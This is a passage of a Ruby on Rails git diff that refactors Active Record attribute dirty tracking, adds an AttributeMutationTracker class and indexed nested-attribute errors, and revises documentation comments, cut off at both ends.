assign_nested_parameter_attributes(pairs) pairs.each { |k, v| _assign_attribute(k, v) } diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb index 9d58a19304..e902eb7531 100644 --- a/activerecord/lib/active_record/attribute_methods.rb +++ b/activerecord/lib/active_record/attribute_methods.rb @@ -1,7 +1,7 @@ require 'active_support/core_ext/enumerable' require 'active_support/core_ext/string/filters' require 'mutex_m' -require 'thread_safe' +require 'concurrent/map' module ActiveRecord # = Active Record Attribute Methods @@ -34,30 +34,6 @@ module ActiveRecord BLACKLISTED_CLASS_METHODS = %w(private public protected allocate new name parent superclass) - class AttributeMethodCache - def initialize - @module = Module.new - @method_cache = ThreadSafe::Cache.new - end - - def [](name) - @method_cache.compute_if_absent(name) do - safe_name = name.unpack('h*').first - temp_method = "__temp__#{safe_name}" - ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name - @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__ - @module.instance_method temp_method - end - end - - private - - # Override this method in the subclasses for method body. - def method_body(method_name, const_name) - raise NotImplementedError, "Subclasses must implement a method_body(method_name, const_name) method." - end - end - class GeneratedAttributeMethods < Module; end # :nodoc: module ClassMethods @@ -96,7 +72,7 @@ module ActiveRecord end end - # Raises a <tt>ActiveRecord::DangerousAttributeError</tt> exception when an + # Raises an ActiveRecord::DangerousAttributeError exception when an # \Active \Record method is defined in the model, otherwise +false+. # # class Person < ActiveRecord::Base @@ -106,7 +82,7 @@ module ActiveRecord # end # # Person.instance_method_already_implemented?(:save) - # # => ActiveRecord::DangerousAttributeError: save is defined by ActiveRecord + # # => ActiveRecord::DangerousAttributeError: save is defined by Active Record. Check to make sure that you don't have an attribute or method with the same name. # # Person.instance_method_already_implemented?(:name) # # => false @@ -191,6 +167,18 @@ module ActiveRecord end end + # Returns true if the given attribute exists, otherwise false. + # + # class Person < ActiveRecord::Base + # end + # + # Person.has_attribute?('name') # => true + # Person.has_attribute?(:age) # => true + # Person.has_attribute?(:nothing) # => false + def has_attribute?(attr_name) + attribute_types.key?(attr_name.to_s) + end + # Returns the column object for the named attribute. # Returns a +ActiveRecord::ConnectionAdapters::NullColumn+ if the # named attribute does not exist. @@ -230,7 +218,15 @@ module ActiveRecord # person.respond_to(:nothing) # => false def respond_to?(name, include_private = false) return false unless super - name = name.to_s + + case name + when :to_partial_path + name = "to_partial_path".freeze + when :to_model + name = "to_model".freeze + else + name = name.to_s + end # If the result is true then check for the select case. # For queries selecting a subset of columns, return false for unselected columns. @@ -338,7 +334,7 @@ module ActiveRecord # # Note: +:id+ is always present. # - # Alias for the <tt>read_attribute</tt> method. + # Alias for the #read_attribute method. # # class Person < ActiveRecord::Base # belongs_to :organization @@ -356,7 +352,7 @@ module ActiveRecord end # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+. - # (Alias for the protected <tt>write_attribute</tt> method). + # (Alias for the protected #write_attribute method). # # class Person < ActiveRecord::Base # end @@ -377,27 +373,27 @@ module ActiveRecord # # For example: # - # class PostsController < ActionController::Base - # after_action :print_accessed_fields, only: :index + # class PostsController < ActionController::Base + # after_action :print_accessed_fields, only: :index # - # def index - # @posts = Post.all - # end + # def index + # @posts = Post.all + # end # - # private + # private # - # def print_accessed_fields - # p @posts.first.accessed_fields + # def print_accessed_fields + # p @posts.first.accessed_fields + # end # end - # end # # Which allows you to quickly change your code to: # - # class PostsController < ActionController::Base - # def index - # @posts = Post.select(:id, :title, :author_id, :updated_at) + # class PostsController < ActionController::Base + # def index + # @posts = Post.select(:id, :title, :author_id, :updated_at) + # end # end - # end def accessed_fields @attributes.accessed end diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb index 56c1898551..1db6776688 100644 --- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb +++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb @@ -2,7 +2,7 @@ module ActiveRecord module AttributeMethods # = Active Record Attribute Methods Before Type Cast # - # <tt>ActiveRecord::AttributeMethods::BeforeTypeCast</tt> provides a way to + # ActiveRecord::AttributeMethods::BeforeTypeCast provides a way to # read the value of the attributes before typecasting and deserialization. # # class Task < ActiveRecord::Base diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb index 7ba907f786..0bcfa5f00d 100644 --- a/activerecord/lib/active_record/attribute_methods/dirty.rb +++ b/activerecord/lib/active_record/attribute_methods/dirty.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/module/attribute_accessors' +require 'active_record/attribute_mutation_tracker' module ActiveRecord module AttributeMethods @@ -34,23 +35,43 @@ module ActiveRecord # <tt>reload</tt> the record and clears changed attributes. def reload(*) super.tap do - clear_changes_information + @mutation_tracker = nil + @previous_mutation_tracker = nil + @changed_attributes = HashWithIndifferentAccess.new end end def initialize_dup(other) # :nodoc: super - calculate_changes_from_defaults + @attributes = self.class._default_attributes.map do |attr| + attr.with_value_from_user(@attributes.fetch_value(attr.name)) + end + @mutation_tracker = nil end def changes_applied - super - store_original_raw_attributes + @previous_mutation_tracker = mutation_tracker + @changed_attributes = HashWithIndifferentAccess.new + store_original_attributes end def clear_changes_information + @previous_mutation_tracker = nil + @changed_attributes = HashWithIndifferentAccess.new + store_original_attributes + end + + def raw_write_attribute(attr_name, *) + result = super + clear_attribute_change(attr_name) + result + end + + def clear_attribute_changes(attr_names) super - original_raw_attributes.clear + attr_names.each do |attr_name| + clear_attribute_change(attr_name) + end end def changed_attributes @@ -59,7 +80,7 @@ module ActiveRecord if defined?(@cached_changed_attributes) @cached_changed_attributes else - super.reverse_merge(attributes_changed_in_place).freeze + super.reverse_merge(mutation_tracker.changed_values).freeze end end @@ -69,58 +90,29 @@ module ActiveRecord end end + def previous_changes + previous_mutation_tracker.changes + end + def attribute_changed_in_place?(attr_name) - old_value = original_raw_attribute(attr_name) - @attributes[attr_name].changed_in_place_from?(old_value) + mutation_tracker.changed_in_place?(attr_name) end private - def changes_include?(attr_name) - super || attribute_changed_in_place?(attr_name) - end - - def calculate_changes_from_defaults - @changed_attributes = nil - self.class.column_defaults.each do |attr, orig_value| - set_attribute_was(attr, orig_value) if _field_changed?(attr, orig_value) + def mutation_tracker + unless defined?(@mutation_tracker) + @mutation_tracker = nil end + @mutation_tracker ||= AttributeMutationTracker.new(@attributes) end - # Wrap write_attribute to remember original attribute value. - def write_attribute(attr, value) - attr = attr.to_s - - old_value = old_attribute_value(attr) - - result = super - store_original_raw_attribute(attr) - save_changed_attribute(attr, old_value) - result - end - - def raw_write_attribute(attr, value) - attr = attr.to_s - - result = super - original_raw_attributes[attr] = value - result - end - - def save_changed_attribute(attr, old_value) - if attribute_changed_by_setter?(attr) - clear_attribute_changes(attr) unless _field_changed?(attr, old_value) - else - set_attribute_was(attr, old_value) if _field_changed?(attr, old_value) - end + def changes_include?(attr_name) + super || mutation_tracker.changed?(attr_name) end - def old_attribute_value(attr) - if attribute_changed?(attr) - changed_attributes[attr] - else - clone_attribute_value(:_read_attribute, attr) - end + def clear_attribute_change(attr_name) + mutation_tracker.forget_change(attr_name) end def _update_record(*) @@ -135,48 +127,24 @@ module ActiveRecord changed & self.class.column_names end - def _field_changed?(attr, old_value) - @attributes[attr].changed_from?(old_value) - end - - def attributes_changed_in_place - changed_in_place.each_with_object({}) do |attr_name, h| - orig = @attributes[attr_name].original_value - h[attr_name] = orig - end + def store_original_attributes + @attributes = @attributes.map(&:forgetting_assignment) + @mutation_tracker = nil end - def changed_in_place - self.class.attribute_names.select do |attr_name| - attribute_changed_in_place?(attr_name) - end - end - - def original_raw_attribute(attr_name) - original_raw_attributes.fetch(attr_name) do - read_attribute_before_type_cast(attr_name) - end - end - - def original_raw_attributes - @original_raw_attributes ||= {} - end - - def store_original_raw_attribute(attr_name) - original_raw_attributes[attr_name] = @attributes[attr_name].value_for_database rescue nil - end - - def store_original_raw_attributes - attribute_names.each do |attr| - store_original_raw_attribute(attr) - end + def previous_mutation_tracker + @previous_mutation_tracker ||= NullMutationTracker.instance end def cache_changed_attributes @cached_changed_attributes = changed_attributes yield ensure - remove_instance_variable(:@cached_changed_attributes) + clear_changed_attributes_cache + end + + def clear_changed_attributes_cache + remove_instance_variable(:@cached_changed_attributes) if defined?(@cached_changed_attributes) end end end diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb index c28374e4ab..0d5cb8b37c 100644 --- a/activerecord/lib/active_record/attribute_methods/primary_key.rb +++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb @@ -5,7 +5,7 @@ module ActiveRecord module PrimaryKey extend ActiveSupport::Concern - # Returns this record's primary key value wrapped in an Array if one is + # Returns this record's primary key value wrapped in an array if one is # available. def to_key sync_with_transaction_state @@ -108,7 +108,7 @@ module ActiveRecord # self.primary_key = 'sysid' # end # - # You can also define the +primary_key+ method yourself: + # You can also define the #primary_key method yourself: # # class Project < ActiveRecord::Base # def self.primary_key diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb index 553122a5fc..10498f4322 100644 --- a/activerecord/lib/active_record/attribute_methods/query.rb +++ b/activerecord/lib/active_record/attribute_methods/query.rb @@ -19,7 +19,7 @@ module ActiveRecord if Numeric === value || value !~ /[^0-9]/ !value.to_i.zero? else - return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value) + return false if ActiveModel::Type::Boolean::FALSE_VALUES.include?(value) !value.blank? end elsif value.respond_to?(:zero?) diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb index 0d989c2eca..ab2ecaa7c5 100644 --- a/activerecord/lib/active_record/attribute_methods/read.rb +++ b/activerecord/lib/active_record/attribute_methods/read.rb @@ -1,8 +1,11 @@ module ActiveRecord module AttributeMethods module Read - ReaderMethodCache = Class.new(AttributeMethodCache) { - private + extend ActiveSupport::Concern + + module ClassMethods + protected + # We want to generate the methods via module_eval rather than # define_method, because define_method is slower on dispatch. # Evaluating many similar methods may use more memory as the instruction @@ -21,23 +24,8 @@ module ActiveRecord # to allocate an object on each call to the attribute method. # Making it frozen means that it doesn't get duped when used to # key the @attributes in read_attribute. - def method_body(method_name, const_name) - <<-EOMETHOD - def #{method_name} - name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name} - _read_attribute(name) { |n| missing_attribute(n, caller) } - end - EOMETHOD - end - }.new - - extend ActiveSupport::Concern - - module ClassMethods - protected - def define_method_attribute(name) - safe_name = name.unpack('h*').first + safe_name = name.unpack('h*'.freeze).first temp_method = "__temp__#{safe_name}" ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name @@ -56,14 +44,12 @@ module ActiveRecord end end - ID = 'id'.freeze - # Returns the value of the attribute identified by <tt>attr_name</tt> after # it has been typecast (for example, "2004-12-12" in a date column is cast # to a date object, like Date.new(2004, 12, 12)). def read_attribute(attr_name, &block) name = attr_name.to_s - name = self.class.primary_key if name == ID + name = self.class.primary_key if name == 'id'.freeze _read_attribute(name, &block) end diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb index d0d8a968c5..65978aea2a 100644 --- a/activerecord/lib/active_record/attribute_methods/serialization.rb +++ b/activerecord/lib/active_record/attribute_methods/serialization.rb @@ -9,7 +9,19 @@ module ActiveRecord # attribute using this method and it will be handled automatically. The # serialization is done through YAML. If +class_name+ is specified, the # serialized object must be of that class on assignment and retrieval. - # Otherwise <tt>SerializationTypeMismatch</tt> will be raised. + # Otherwise SerializationTypeMismatch will be raised. + # + # Empty objects as <tt>{}</tt>, in the case of +Hash+, or <tt>[]</tt>, in the case of + # +Array+, will always be persisted as null. + # + # Keep in mind that database adapters handle certain serialization tasks + # for you. For instance: +json+ and +jsonb+ types in PostgreSQL will be + # converted between JSON object/array syntax and Ruby +Hash+ or +Array+ + # objects transparently. There is no need to use #serialize in this + # case. + # + # For more complex cases, such as conversion to or from your application + # domain objects, consider using the ActiveRecord::Attributes API. # # ==== Parameters # diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb index f9beb43e4b..e160460286 100644 --- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb +++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/string/strip' + module ActiveRecord module AttributeMethods module TimeZoneConversion @@ -7,34 +9,48 @@ module ActiveRecord end def cast(value) - if value.is_a?(Array) - value.map { |v| cast(v) } - elsif value.is_a?(Hash) + return if value.nil? + + if value.is_a?(Hash) set_time_zone_without_conversion(super) elsif value.respond_to?(:in_time_zone) begin - user_input_in_time_zone(value) || super + super(user_input_in_time_zone(value)) || super rescue ArgumentError nil end + else + map_avoiding_infinite_recursion(super) { |v| cast(v) } end end private def convert_time_to_time_zone(value) - if value.is_a?(Array) - value.map { |v| convert_time_to_time_zone(v) } - elsif value.acts_like?(:time) + return if value.nil? + + if value.acts_like?(:time) value.in_time_zone - else + elsif value.is_a?(::Float) value + else + map_avoiding_infinite_recursion(value) { |v| convert_time_to_time_zone(v) } end end def set_time_zone_without_conversion(value) ::Time.zone.local_to_utc(value).in_time_zone end + + def map_avoiding_infinite_recursion(value) + map(value) do |v| + if value.equal?(v) + nil + else + yield(v) + end + end + end end extend ActiveSupport::Concern @@ -77,7 +93,7 @@ module ActiveRecord !result && cast_type.type == :time && time_zone_aware_types.include?(:not_explicitly_configured) - ActiveSupport::Deprecation.warn(<<-MESSAGE) + ActiveSupport::Deprecation.warn(<<-MESSAGE.strip_heredoc) Time columns will become time zone aware in Rails 5.1. This still causes `String`s to be parsed as if they were in `Time.zone`, and `Time`s to be converted to `Time.zone`. @@ -88,7 +104,7 @@ module ActiveRecord To silence this deprecation warning, add the following: - config.active_record.time_zone_aware_types << :time + config.active_record.time_zone_aware_types = [:datetime, :time] MESSAGE end diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb index ab017c7b54..5599b590ca 100644 --- a/activerecord/lib/active_record/attribute_methods/write.rb +++ b/activerecord/lib/active_record/attribute_methods/write.rb @@ -1,19 +1,6 @@ module ActiveRecord module AttributeMethods module Write - WriterMethodCache = Class.new(AttributeMethodCache) { - private - - def method_body(method_name, const_name) - <<-EOMETHOD - def #{method_name}(value) - name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name} - write_attribute(name, value) - end - EOMETHOD - end - }.new - extend ActiveSupport::Concern included do @@ -24,7 +11,7 @@ module ActiveRecord protected def define_method_attribute=(name) - safe_name = name.unpack('h*').first + safe_name = name.unpack('h*'.freeze).first ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1 @@ -45,7 +32,7 @@ module ActiveRecord write_attribute_with_type_cast(attr_name, value, true) end - def raw_write_attribute(attr_name, value) + def raw_write_attribute(attr_name, value) # :nodoc: write_attribute_with_type_cast(attr_name, value, false) end diff --git a/activerecord/lib/active_record/attribute_mutation_tracker.rb b/activerecord/lib/active_record/attribute_mutation_tracker.rb new file mode 100644 index 0000000000..0133b4d0be --- /dev/null +++ b/activerecord/lib/active_record/attribute_mutation_tracker.rb @@ -0,0 +1,70 @@ +module ActiveRecord + class AttributeMutationTracker # :nodoc: + def initialize(attributes) + @attributes = attributes + end + + def changed_values + attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result| + if changed?(attr_name) + result[attr_name] = attributes[attr_name].original_value + end + end + end + + def changes + attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result| + if changed?(attr_name) + result[attr_name] = [attributes[attr_name].original_value, attributes.fetch_value(attr_name)] + end + end + end + + def changed?(attr_name) + attr_name = attr_name.to_s + attributes[attr_name].changed? + end + + def changed_in_place?(attr_name) + attributes[attr_name].changed_in_place? + end + + def forget_change(attr_name) + attr_name = attr_name.to_s + attributes[attr_name] = attributes[attr_name].forgetting_assignment + end + + protected + + attr_reader :attributes + + private + + def attr_names + attributes.keys + end + end + + class NullMutationTracker # :nodoc: + include Singleton + + def changed_values + {} + end + + def changes + {} + end + + def changed?(*) + false + end + + def changed_in_place?(*) + false + end + + def forget_change(*) + end + end +end diff --git a/activerecord/lib/active_record/attribute_set.rb b/activerecord/lib/active_record/attribute_set.rb index 013a7d0e01..be581ac2a9 100644 --- a/activerecord/lib/active_record/attribute_set.rb +++ b/activerecord/lib/active_record/attribute_set.rb @@ -60,8 +60,14 @@ module ActiveRecord super end + def deep_dup + dup.tap do |copy| + copy.instance_variable_set(:@attributes, attributes.deep_dup) + end + end + def initialize_dup(_) - @attributes = attributes.deep_dup + @attributes = attributes.dup super end @@ -80,6 +86,15 @@ module ActiveRecord attributes.select { |_, attr| attr.has_been_read? }.keys end + def map(&block) + new_attributes = attributes.transform_values(&block) + AttributeSet.new(new_attributes) + end + + def ==(other) + attributes == other.attributes + end + protected attr_reader :attributes diff --git a/activerecord/lib/active_record/attribute_set/builder.rb b/activerecord/lib/active_record/attribute_set/builder.rb index e85777c335..3bd7c7997b 100644 --- a/activerecord/lib/active_record/attribute_set/builder.rb +++ b/activerecord/lib/active_record/attribute_set/builder.rb @@ -1,3 +1,5 @@ +require 'active_record/attribute' + module ActiveRecord class AttributeSet # :nodoc: class Builder # :nodoc: @@ -45,8 +47,14 @@ module ActiveRecord delegate_hash[key] = value end + def deep_dup + dup.tap do |copy| + copy.instance_variable_set(:@delegate_hash, delegate_hash.transform_values(&:dup)) + end + end + def initialize_dup(_) - @delegate_hash = delegate_hash.transform_values(&:dup) + @delegate_hash = Hash[delegate_hash] super end @@ -60,10 +68,29 @@ module ActiveRecord end end + def ==(other) + if other.is_a?(LazyAttributeHash) + materialize == other.materialize + else + materialize == other + end + end + protected attr_reader :types, :values, :additional_types, :delegate_hash + def materialize + unless @materialized + values.each_key { |key| self[key] } + types.each_key { |key| self[key] } + unless frozen? + @materialized = true + end + end + delegate_hash + end + private def assign_default_value(name) @@ -77,16 +104,5 @@ module ActiveRecord delegate_hash[name] = Attribute.uninitialized(name, type) end end - - def materialize - unless @materialized - values.each_key { |key| self[key] } - types.each_key { |key| self[key] } - unless frozen? - @materialized = true - end - end - delegate_hash - end end end diff --git a/activerecord/lib/active_record/attributes.rb b/activerecord/lib/active_record/attributes.rb index 50339b6f69..519de271c3 100644 --- a/activerecord/lib/active_record/attributes.rb +++ b/activerecord/lib/active_record/attributes.rb @@ -1,11 +1,10 @@ +require 'active_record/attribute/user_provided_default' + module ActiveRecord # See ActiveRecord::Attributes::ClassMethods for documentation module Attributes extend ActiveSupport::Concern - # :nodoc: - Type = ActiveRecord::Type - included do class_attribute :attributes_to_define_after_schema_loads, instance_accessor: false # :internal: self.attributes_to_define_after_schema_loads = {} @@ -16,7 +15,7 @@ module ActiveRecord # type of existing attributes if needed. This allows control over how # values are converted to and from SQL when assigned to a model. It also # changes the behavior of values passed to - # ActiveRecord::QueryMethods#where. This will let you use + # {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where]. This will let you use # your domain objects across much of Active Record, without having to # rely on implementation details or monkey patching. # @@ -68,20 +67,31 @@ module ActiveRecord # # A default can also be provided. # + # # db/schema.rb # create_table :store_listings, force: true do |t| # t.string :my_string, default: "original default" # end # # StoreListing.new.my_string # => "original default" # + # # app/models/store_listing.rb # class StoreListing < ActiveRecord::Base # attribute :my_string, :string, default: "new default" # end # # StoreListing.new.my_string # => "new default" # - # Attributes do not need to be backed by a database column. + # class Product < ActiveRecord::Base + # attribute :my_default_proc, :datetime, default: -> { Time.now } + # end + # + # Product.new.my_default_proc # => 2015-05-30 11:04:48 -0600 + # sleep 1 + # Product.new.my_default_proc # => 2015-05-30 11:04:49 -0600 + # + # \Attributes do not need to be backed by a database column. # + # # app/models/my_model.rb # class MyModel < ActiveRecord::Base # attribute :my_string, :string # attribute :my_int_array, :integer, array: true @@ -112,7 +122,7 @@ module ActiveRecord # # class MoneyType < ActiveRecord::Type::Integer # def cast(value) - # if value.include?('$') + # if !value.kind_of?(Numeric) && value.include?('$') # price_in_dollars = value.gsub(/\$/, '').to_f # super(price_in_dollars * 100) # else @@ -124,7 +134,7 @@ module ActiveRecord # # config/initializers/types.rb # ActiveRecord::Type.register(:money, MoneyType) # - # # /app/models/store_listing.rb + # # app/models/store_listing.rb # class StoreListing < ActiveRecord::Base # attribute :price_in_cents, :money # end @@ -137,9 +147,9 @@ module ActiveRecord # to be referenced by a symbol, see ActiveRecord::Type.register. You can # also pass a type object directly, in place of a symbol. # - # ==== Querying + # ==== \Querying # - # When ActiveRecord::QueryMethods#where is called, it will + # When {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where] is called, it will # use the type defined by the model class to convert the value to SQL, # calling +serialize+ on your type object. For example: # @@ -147,7 +157,7 @@ module ActiveRecord # end # # class MoneyType < Type::Value - # def initialize(currency_converter) + # def initialize(currency_converter:) # @currency_converter = currency_converter # end # @@ -160,11 +170,13 @@ module ActiveRecord # end # end # + # # config/initializers/types.rb # ActiveRecord::Type.register(:money, MoneyType) # + # # app/models/product.rb # class Product < ActiveRecord::Base # currency_converter = ConversionRatesFromTheInternet.new - # attribute :price_in_bitcoins, :money, currency_converter + # attribute :price_in_bitcoins, :money, currency_converter: currency_converter # end # # Product.where(price_in_bitcoins: Money.new(5, "USD")) @@ -202,7 +214,8 @@ module ActiveRecord # # +default+ The default value to use when no value is provided. If this option # is not passed, the previous default value (if any) will be used. - # Otherwise, the default will be +nil+. + # Otherwise, the default will be +nil+. A proc can also be passed, and + # will be called once each time a new value is needed. # # +user_provided_default+ Whether the default value should be cast using # +cast+ or +deserialize+. @@ -236,7 +249,12 @@ module ActiveRecord if value == NO_DEFAULT_PROVIDED default_attribute = _default_attributes[name].with_type(type) elsif from_user - default_attribute = Attribute.from_user(name, value, type) + default_attribute = Attribute::UserProvidedDefault.new( + name, + value, + type, + _default_attributes[name], + ) else default_attribute = Attribute.from_database(name, value, type) end diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb index 0792d19c3e..06c7482bf9 100644 --- a/activerecord/lib/active_record/autosave_association.rb +++ b/activerecord/lib/active_record/autosave_association.rb @@ -1,10 +1,10 @@ module ActiveRecord # = Active Record Autosave Association # - # +AutosaveAssociation+ is a module that takes care of automatically saving + # AutosaveAssociation is a module that takes care of automatically saving # associated records when their parent is saved. In addition to saving, it # also destroys any associated records that were marked for destruction. - # (See +mark_for_destruction+ and <tt>marked_for_destruction?</tt>). + # (See #mark_for_destruction and #marked_for_destruction?). # # Saving of the parent, its associations, and the destruction of marked # associations, all happen inside a transaction. This should never leave the @@ -22,7 +22,7 @@ module ActiveRecord # # == Validation # - # Children records are validated unless <tt>:validate</tt> is +false+. + # Child records are validated unless <tt>:validate</tt> is +false+. # # == Callbacks # @@ -125,7 +125,6 @@ module ActiveRecord # Now it _is_ removed from the database: # # Comment.find_by(id: id).nil? # => true - module AutosaveAssociation extend ActiveSupport::Concern @@ -141,9 +140,11 @@ module ActiveRecord included do Associations::Builder::Association.extensions << AssociationBuilderExtension + mattr_accessor :index_nested_attribute_errors, instance_writer: false + self.index_nested_attribute_errors = false end - module ClassMethods + module ClassMethods # :nodoc: private def define_non_cyclic_method(name, &block) @@ -222,6 +223,7 @@ module ActiveRecord true end validate validation_method + after_validation :_ensure_no_duplicate_errors end end end @@ -233,7 +235,7 @@ module ActiveRecord super end - # Marks this record to be destroyed as part of the parents save transaction. + # Marks this record to be destroyed as part of the parent's save transaction. # This does _not_ actually destroy the record instantly, rather child record will be destroyed # when <tt>parent.save</tt> is called. # @@ -242,7 +244,7 @@ module ActiveRecord @marked_for_destruction = true end - # Returns whether or not this record will be destroyed as part of the parents save transaction. + # Returns whether or not this record will be destroyed as part of the parent's save transaction. # # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model. def marked_for_destruction? @@ -315,7 +317,7 @@ module ActiveRecord def validate_collection_association(reflection) if association = association_instance_get(reflection.name) if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave]) - records.each { |record| association_valid?(reflection, record) } + records.each_with_index { |record, index| association_valid?(reflection, record, index) } end end end @@ -323,17 +325,36 @@ module ActiveRecord # Returns whether or not the association is valid and applies any errors to # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt> # enabled records if they're marked_for_destruction? or destroyed. - def association_valid?(reflection, record) - return true if record.destroyed? || record.marked_for_destruction? + def association_valid?(reflection, record, index=nil) + return true if record.destroyed? || (reflection.options[:autosave] && record.marked_for_destruction?) validation_context = self.validation_context unless [:create, :update].include?(self.validation_context) unless valid = record.valid?(validation_context) if reflection.options[:autosave] + indexed_attribute = !index.nil? && (reflection.options[:index_errors] || ActiveRecord::Base.index_nested_attribute_errors) + record.errors.each do |attribute, message| - attribute = "#{reflection.name}.#{attribute}" + if indexed_attribute + attribute = "#{reflection.name}[#{index}].#{attribute}" + else + attribute = "#{reflection.name}.#{attribute}" + end errors[attribute] << message errors[attribute].uniq! end + + record.errors.details.each_key do |attribute| + if indexed_attribute + reflection_attribute = "#{reflection.name}[#{index}].#{attribute}" + else + reflection_attribute = "#{reflection.name}.#{attribute}" + end + + record.errors.details[attribute].each do |error| + errors.details[reflection_attribute] << error + errors.details[reflection_attribute].uniq! + end + end else errors.add(reflection.name) end @@ -352,7 +373,7 @@ module ActiveRecord # <tt>:autosave</tt> is enabled on the association. # # In addition, it destroys all children that were marked for destruction - # with mark_for_destruction. + # with #mark_for_destruction. # # This all happens inside a transaction, _if_ the Transactions module is included into # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. @@ -395,7 +416,7 @@ module ActiveRecord # on the association. # # In addition, it will destroy the association if it was marked for - # destruction with mark_for_destruction. + # destruction with #mark_for_destruction. # # This all happens inside a transaction, _if_ the Transactions module is included into # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. @@ -456,5 +477,11 @@ module ActiveRecord end end end + + def _ensure_no_duplicate_errors + errors.messages.each_key do |attribute| + errors[attribute].uniq! + end + end end end diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb index cc03e37a12..6a1a27ce41 100644 --- a/activerecord/lib/active_record/base.rb +++ b/activerecord/lib/active_record/base.rb @@ -1,11 +1,9 @@ require 'yaml' -require 'set' require 'active_support/benchmarkable' require 'active_support/dependencies' require 'active_support/descendants_tracker' require 'active_support/time' require 'active_support/core_ext/module/attribute_accessors' -require 'active_support/core_ext/class/delegating_attributes' require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/hash/deep_merge' require 'active_support/core_ext/hash/slice' @@ -15,7 +13,6 @@ require 'active_support/core_ext/kernel/singleton_class' require 'active_support/core_ext/module/introspection' require 'active_support/core_ext/object/duplicable' require 'active_support/core_ext/class/subclasses' -require 'arel' require 'active_record/attribute_decorators' require 'active_record/errors' require 'active_record/log_subscriber' @@ -120,24 +117,20 @@ module ActiveRecord #:nodoc: # All column values are automatically available through basic accessors on the Active Record # object, but sometimes you want to specialize this behavior. This can be done by overwriting # the default accessors (using the same name as the attribute) and calling - # <tt>read_attribute(attr_name)</tt> and <tt>write_attribute(attr_name, value)</tt> to actually - # change things. + # +super+ to actually change things. # # class Song < ActiveRecord::Base # # Uses an integer of seconds to hold the length of the song # # def length=(minutes) - # write_attribute(:length, minutes.to_i * 60) + # super(minutes.to_i * 60) # end # # def length - # read_attribute(:length) / 60 + # super / 60 # end # end # - # You can alternatively use <tt>self[:attribute]=(value)</tt> and <tt>self[:attribute]</tt> - # instead of <tt>write_attribute(:attribute, value)</tt> and <tt>read_attribute(:attribute)</tt>. - # # == Attribute query methods # # In addition to the basic accessors, query methods are also automatically available on the Active Record object. @@ -173,10 +166,11 @@ module ActiveRecord #:nodoc: # <tt>Person.find_by_user_name(user_name)</tt>. # # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an - # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records, + # ActiveRecord::RecordNotFound error if they do not return any records, # like <tt>Person.find_by_last_name!</tt>. # - # It's also possible to use multiple attributes in the same find by separating them with "_and_". + # It's also possible to use multiple attributes in the same <tt>find_by_</tt> by separating them with + # "_and_". # # Person.find_by(user_name: user_name, password: password) # Person.find_by_user_name_and_password(user_name, password) # with dynamic finder @@ -188,7 +182,8 @@ module ActiveRecord #:nodoc: # == Saving arrays, hashes, and other non-mappable objects in text columns # # Active Record can serialize any object in text columns using YAML. To do so, you must - # specify this with a call to the class method +serialize+. + # specify this with a call to the class method + # {serialize}[rdoc-ref:AttributeMethods::Serialization::ClassMethods#serialize]. # This makes it possible to store arrays, hashes, and other non-mappable objects without doing # any additional work. # @@ -228,39 +223,47 @@ module ActiveRecord #:nodoc: # # == Connection to multiple databases in different models # - # Connections are usually created through ActiveRecord::Base.establish_connection and retrieved + # Connections are usually created through + # {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] and retrieved # by ActiveRecord::Base.connection. All classes inheriting from ActiveRecord::Base will use this # connection. But you can also set a class-specific connection. For example, if Course is an # ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt> # and Course and all of its subclasses will use this connection instead. # # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is - # a Hash indexed by the class. If a connection is requested, the retrieve_connection method + # a hash indexed by the class. If a connection is requested, the + # {ActiveRecord::Base.retrieve_connection}[rdoc-ref:ConnectionHandling#retrieve_connection] method # will go up the class-hierarchy until a connection is found in the connection pool. # # == Exceptions # # * 